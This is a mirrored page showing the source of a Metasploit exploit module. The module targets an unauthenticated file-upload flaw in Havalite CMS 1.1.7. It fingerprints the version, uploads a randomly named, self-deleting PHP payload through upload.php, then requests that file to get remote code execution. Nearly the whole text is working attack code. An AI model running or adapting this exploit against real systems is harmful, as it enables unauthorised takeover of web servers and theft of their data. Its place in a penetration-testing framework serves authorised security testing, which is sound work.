CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/webapp/havalite_upload_exec.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::PhpEXE
11
12
def initialize(info={})
13
super(update_info(info,
14
'Name' => "Havalite CMS Arbitary File Upload Vulnerability",
15
'Description' => %q{
16
This module exploits a file upload vulnerability found in Havalite CMS 1.1.7, and
17
possibly prior. Attackers can abuse the upload feature in order to upload a
18
malicious PHP file without authentication, which results in arbitrary remote code
19
execution.
20
},
21
'License' => MSF_LICENSE,
22
'Author' =>
23
[
24
'CWH',
25
'sinn3r' #Metasploit
26
],
27
'References' =>
28
[
29
['OSVDB', '94405'],
30
['EDB', '26243']
31
],
32
'Payload' =>
33
{
34
'BadChars' => "\x00"
35
},
36
'Platform' => %w{ linux php },
37
'Targets' =>
38
[
39
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
40
[ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
41
],
42
'Privileged' => false,
43
'DisclosureDate' => '2013-06-17',
44
'DefaultTarget' => 0))
45
46
register_options(
47
[
48
OptString.new('TARGETURI', [true, 'The base path to havalite', '/'])
49
])
50
end
51
52
#
53
# Checks if target is running HavaLite CMS 1.1.7
54
# We only flag 1.1.7 as vulnerable, because we don't have enough information from
55
# the vendor or OSVDB about exactly which ones are really vulnerable.
56
#
57
def check
58
uri = normalize_uri(target_uri.path, 'havalite/')
59
res = send_request_raw({'uri' => uri})
60
61
if not res
62
vprint_error("Connection timed out")
63
return Exploit::CheckCode::Unknown
64
end
65
66
js_src = res.body.scan(/<script type="text\/javascript">(.+)<\/script>/im).flatten[0] || ''
67
version = js_src.scan(/var myVersion = '(.+)';/).flatten[0] || ''
68
69
if not version.empty? and version =~ /1\.1\.7/
70
vprint_status("Version found: #{version}")
71
return Exploit::CheckCode::Appears
72
end
73
74
Exploit::CheckCode::Safe
75
end
76
77
78
#
79
# Uploads our malicious file
80
#
81
def upload(base)
82
p = get_write_exec_payload(:unlink_self=>true)
83
fname = "#{rand_text_alpha(5)}.php"
84
85
data = Rex::MIME::Message.new
86
data.add_part(p, "application/octet-stream", nil, "form-data; name=\"files[]\"; filename=\"#{fname}\"")
87
post_data = data.to_s
88
89
res = send_request_cgi({
90
'method' => 'POST',
91
'uri' => normalize_uri(base, 'havalite', 'upload.php'),
92
'ctype' => "multipart/form-data; boundary=#{data.bound}",
93
'data' => post_data
94
})
95
96
if not res
97
fail_with(Failure::Unknown, "#{peer} - Request timed out while uploading")
98
elsif res.code.to_i == 404
99
fail_with(Failure::NotFound, "#{peer} - No upload.php found")
100
elsif res.body =~ /"error"\:"abort"/
101
fail_with(Failure::Unknown, "#{peer} - Unable to write #{fname}")
102
end
103
104
return fname
105
end
106
107
108
#
109
# Executes our uploaded malicious file
110
#
111
def exec(base, payload_fname)
112
res = send_request_raw({
113
'uri' => normalize_uri(base, 'havalite','tmp', 'files', payload_fname)
114
})
115
116
if res and res.code == 404
117
fail_with(Failure::NotFound, "#{peer} - Not found: #{payload_fname}")
118
end
119
end
120
121
122
def exploit
123
base = target_uri.path
124
125
print_status("Uploading malicious file...")
126
fname = upload(base)
127
128
print_status("Executing #{fname}...")
129
exec(base, fname)
130
end
131
end
132
133